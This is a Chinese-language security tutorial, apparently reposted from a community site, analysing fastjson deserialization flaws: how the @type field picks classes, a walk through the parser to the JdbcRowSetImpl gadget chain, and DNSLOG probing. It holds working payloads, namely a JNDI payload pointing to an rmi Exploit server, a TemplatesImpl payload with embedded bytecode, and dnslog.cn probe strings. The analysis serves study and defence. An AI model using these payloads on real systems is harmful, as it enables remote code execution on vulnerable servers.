天天看點

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

更多全球網絡安全資訊盡在邑安全

前言

   Fastjson這款國内知名的解析json的元件,筆者在此就不多介紹,網絡上有很多分析學習fastjson反序列化漏洞文章。筆者在此以一種全新角度從分析payload構造角度出發,逆向學習分析fastjson反序列化漏洞始末。

ps:漏洞學習環境以代碼均在上傳Github項目。

初窺Payload

   下面是一段最簡單

Fastjson的版本号反序列化--URLDNS

代碼,觀察發現可以提出一個問題

@type

作用?

import com.alibaba.fastjson.JSON;public class urldns {public static void main(String[] args) {// dnslog平台網站:http://www.dnslog.cn/String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";JSON.parse(payload);}}
           

@type的作用

   下面是一段實驗代碼,幫助了解分析

@type

的由來。

public class User {private String name;private int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +'}';}}
           
package vul.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;public class Demo {//TODO 修改pom.xml中的fastjson <= 1.2.24public static void main(String[] args) {User user = new User();user.setAge(18);user.setName("summer");String str1 = JSONObject.toJSONString(user);// 轉化的時候加入一個序列化的特征 寫入類名// feature = 特征String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);// str2輸入結果會輸出 @type+類名// 由此可知@type是用于解析JSON時的用于指定類System.out.println(str1);System.out.println(str2);//如果fastjson解析内容時沒有配置,會預設使用預設配置// TODO 檢視parse方法 可以設定斷點看看不同之處和相同之處Object parse1 = JSON.parse(str1);Object parse2 = JSON.parse(str2);//很明顯的結果不一樣System.out.println("@type: " + parse1.getClass().getName());System.out.println("str1's parse1: " + parse1);System.out.println("@type: " + parse2.getClass().getName());System.out.println("str2's parse2: " + parse2);}}
           
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

   對比分析一下,隻要在JSON序列化的方法加入

SerializerFeature.WriteClassName

特征字段。序列化出來的結果會在開頭加一個

@type

字段,值為進行序列化的類名。再将帶有

@type

字段的序列化資料進行反序列化會得到對應的執行個體類對象。反序列化可以擷取類對象?有Java基礎的安全人應該會敏感的這裡十之八九存在漏洞。

ps:下面是一段驗證代碼

public class Vuldemo {public static void main(String[] args) {String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";Object ob = JSON.parse(payload);System.out.println("反序列化後類對象:  " + ob.getClass().getName());System.out.println("反序列化結果: " + ob);}}
           
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

漏洞分析

RCE’s payload

   第一種payload是使用

com.sun.rowset.JdbcRowSetImpl

類,第二種是

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

。第二種之前在漫談Commons-Collections反序列化讨論分析過,這裡不再重複着重讨論分析第一種payload。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1090/Exploit","autoCommit":true}
           
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
           

再窺Payload

   觀察發現這個payload由三部分組成,

@type

dataSourceName

autoCommint

。第一個

@type

前面已經提及了是擷取執行個體化類,

dataSourceName

autoCommit

我們看看官方文檔。

String payload =   "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";
           

   大緻意思:使用該方法的名稱綁定到

JNDI命名服務

中的

DataSource

對象上,應用程式就可以使用該名稱進行查找,檢索綁定到它的DataSource對象。

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

   設定

AutoCommit

後,會

自動送出内容

。設定這個屬性之後,JNDI找到對應資源,對自動送出内容,讀者後期可以試試删除這個屬性是不會觸發漏洞的。

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

知道上面這些特性後,根據特點構造等價代碼

國外介紹JdbcRowSet 使用方法的一個小案例,可以參考一下。

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();try {jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");jdbcRowSet.setAutoCommit(true);} catch (SQLException throwables) {throwables.printStackTrace();}
           

漏洞成因分析

   JSON#parse()方法會調用

DefaultJSONParser#parse()

,在執行個體化DefaultJSONParser類是會将輸入資料使用執行個體化JSONScanner類傳入,并同時傳入預設預設配置

features

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

   這個 lexer 屬性實際上是在 DefaultJSONParser 對象被執行個體化的時候建立的。

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

   DefaultJSONParser在執行個體化時會讀取目前字元

ch={

,是以

lexer.token()=12

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

   跳轉12會建立JSONObject類對象,然後再調用 

DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

方法去解析。

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

   DefaultJSONParser#parseObject前面會做一個簡單判斷

lexer.token()

,然後讀取字元判斷是否

ch=='"'

,TRUE就擷取其中的字段的值

@type

并緊接着判斷

key == JSON.DEFAULT_TYPE_KEY

相等。

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

   接下去進入反序列化階段

deserializer#deserialze()

-->

parseRest()

-->

fieldDeser#setValue

-->一系列反射調用-->

JdbcRowSetImpl#setAutoCommit()

觸發漏洞。

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

最後得到Gadget chain如下

/** * Gadget chain: *      JSON.parse() *          DefaultJSONParser.parse() *              DefaultJSONParser.parseObject() *                  JavaBeanDeserializer.deserialze() *                      JavaBeanDeserializer.parseRest() *                          FieldDeserializer.setValue() *                              Reflect.invoke() *                                  JdbcRowSetImpl.setAutoCommit() * */
           
fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

DNSLOG的一個小點

   實戰挖掘fastjson漏洞的時候比較常用的方法,探測Fastjson是用dnslog方式,探測到了再用RCE Payload去一個一個打。但是本人在本地環境測試的時候發現了幾個不同點,fastjson的版本不同,不同的payload成功機率是不同的。至于為什麼是這樣子,可以參考一下這篇通過dnslog探測fastjson的幾種方法。

// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";// 全版本支援 fastjson <= 1.2.72String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
           

轉自先知社群

歡迎收藏并分享朋友圈,讓五邑人網絡更安全

fastjson string轉json對象_逆向學習fastjson反序列化始前言初窺Payload漏洞成因分析DNSLOG的一個小點

歡迎掃描關注我們,及時了解最新安全動态、學習最潮流的安全姿勢!

推薦文章

1

新永恒之藍?微軟SMBv3高危漏洞(CVE-2020-0796)分析複現

2

重大漏洞預警:ubuntu最新版本存在本地提權漏洞(已有EXP) 

繼續閱讀